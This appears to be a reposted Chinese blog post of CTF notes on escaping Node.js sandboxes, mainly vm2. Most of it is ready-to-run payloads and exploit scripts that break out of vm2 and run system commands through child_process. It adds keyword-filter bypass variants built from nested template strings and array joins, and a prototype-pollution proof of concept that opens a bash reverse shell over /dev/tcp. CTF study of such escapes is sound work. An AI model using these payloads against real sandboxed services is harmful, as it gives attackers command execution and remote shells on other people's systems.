Nodejs沙盒逃逸

2024-03-26 14:44
文章标签 nodejs 沙盒 逃逸

本文主要是介绍Nodejs沙盒逃逸,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Buffer

  • 在较早一点的node.js版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。
    注:关于 Buffer
  • JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。
  • 但在处理像TCP流或文件流时,必须使用到二进制数据。因此在 Node.js中,定义了一个 Buffer 类,该类用来创建一个专门存放二进制数据的缓存区。
  • 只要是调用过的变量,一定会存在内存中,所以可以使用Buffer()来读取内存,获取之前调用过的变了数据,比如flag

例题

[[24-3.24-wp#[HITCON 2016]Leaking]]

vm

  • 参考文章

vm2

  • vm2的版本一直都在更新迭代。github上许多历史版本的逃逸exp。
  • 链接:Issues · patriksimek/vm2 · GitHub

payload

payload1

(function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();}
})()

payload2

(function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
})()

exp

exp1

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}

exp2

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){try{Buffer.from(new Proxy({}, {getOwnPropertyDescriptor(){throw f=>f.constructor("return process")();}}));}catch(e){return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();}
}+')()';
try{console.log(new VM().run(untrusted));
}catch(x){console.log(x);
}

绕过

来源:[HFCTF2020]JustEscape

NodeJS模板字符串

例如

console.log(`prototype`)            //prototype
console.log(`${`prototyp`}e`)       //prototype
console.log(`${`${`prototyp`}e`}`)  //prototype

通过这种嵌套的方式绕过字符串过滤:
payload1

(function (){TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();}
})()

join拼接字符串

payload2

(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()

数组

  • 当对象的方法或者属性名关键字被过滤的情况下可以利用数组调用的方式绕过关键字的限制

vm2 原型链污染导致沙箱逃逸

[HZNUCTF 2023 final]eznode
poc

let res = import('./app.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
{"shit":"shit","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}
} 

参考

https://blog.csdn.net/qq_61839115/article/details/132120985
https://xz.aliyun.com/t/11859#toc-0

这篇关于Nodejs沙盒逃逸的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/848847

相关文章

使用 devtool 本地调试 nodejs

安装 # 全局安装$ npm install devtool -g# 或临时安装$ npx devtool [file] [opts] 用法 Usage:devtool [入口文件] [opts]Options:--watch, -w enable file watching (for development) # 动态检测文件变更,不用每次手动重启--qui

nodejs基础教程-简单blog(9)--分页

效果图: 分析一下这个效果图,结合以前的教程我们知道。导航栏是继承“layout.html” table表格是“user_index.html”,而分页的按钮就是我们本节课的内容。将之封装在‘page.htnl’中; 首先 新建文件views/admin/page.html <nav aria-label="..."><ul class="pager"><li class="prev

nodejs基础教程-简单blog(8)--展示用户注册信息列表

本节课展示用户注册信息列表;当点击导航栏的“用户管理”浏览器跳转路由/admin/user 显示用户列表。 先上效果图; 开始 1,在layout.html模板中导航标签中设置路径; 2,新建文件 views/admin/user_index.html,在admin.js中设置user_index的路由为/admin/user;并查询数据库所有用户的信息 返回给前台users;

NodeJS和Express框架

文章目录 1 引包1.1 小案例 2 express中的静态引用详解2.1 静态资源和动态资源2.1.1 app.use2.1.2 express.static2.1.3 express静态引用总结 3 NodeJS中的热部署4 模板引擎渲染4.1 先安装相关的包4.2 配置 art-template 模板引擎4.3 使用模板引擎 5 post提交5.1 安装post中间件5.2 使用po

NodeJS模块的导入导出,包文件

文章目录 1 导入模块1.1 加载模块作用1.2加载规则1.2.1 从缓存中加载1.2.2 判断模块标识1.2.3 加载文件和目录1.2.3.1 加载文件1.2.3.2 加载目录 2 导出模块2.1 导出多个成员(必须在对象中)2.2 导出单个成员(函数,字符串)2.3 exports 和 module.exports 的区别2.3.1 相同点2.3.2 不同点2.3.3 总结 3 包

NodeJS中模板引擎,处理静态资源,服务端渲染

1 模板引擎的使用 1.1 下载模板 首先安装art-template模板,art-template不仅可以在浏览器使用,也可以在node中使用 安装,在哪个目录执行以下命令就会下载到那里去,默认下载到node_modules目录中,注意node_modules尽量不要更改,不支持更改 npm install art-templatenpm install=npm i。在git clone

NodeJS基础以及301,302区别

目录 1 NodeJS的定义及作用 2 核心代码简单示例 2.1 简单代码 2.2 读取文件 2.3 写入文件 2.4 HTTP服务 3 Node中的模块 3.1 加载require 3.2 导出exports 附录:浏览器301,302 301 302 1 NodeJS的定义及作用 node.js不是一门语言,不是库、框架而是一个JavaScript运行时环境,基

NodeJS中的MongoDB快速入门

一、MongoDB必须理解的概念 1.数据库:每个数据库都有自己的权限和集合。 2.文档:一个键值对。 3.集合:一组文档,即一组键值对。当第一个文档插入时,集合就会被创建。   二、Mac下的MongoDB安装和启动 1.使用brew进行安装:brew install mongodb。 2.建立目录:mkdir -p /data/db。这样建立的是mongodb配置中的默认目录。

安装和使用nvm安装Nodejs

文章目录 安装和使用 nvm1. 安装 nvm2. 重新加载终端配置3. 安装所需的 Node.js 版本4. 使用安装的 Node.js 版本 nvm 常用命令 安装和使用 nvm 以下是安装 nvm 并使用它来安装 Node.js 的步骤: 1. 安装 nvm 首先,您需要安装 nvm。您可以使用 curl 或 wget 来完成安装: 使用 curl: cur

Liunx安装NodeJs

进入/usr/local/新建node文件夹,并进入node文件夹后依次执行以下命令: wget https://nodejs.org/dist/v15.12.0/node-v15.12.0-linux-x64.tar.gz tar -zxvf node-v15.12.0-linux-x64.tar.gz mv node-v15.12.0-linux-x64 node-v15.12.0 ln -s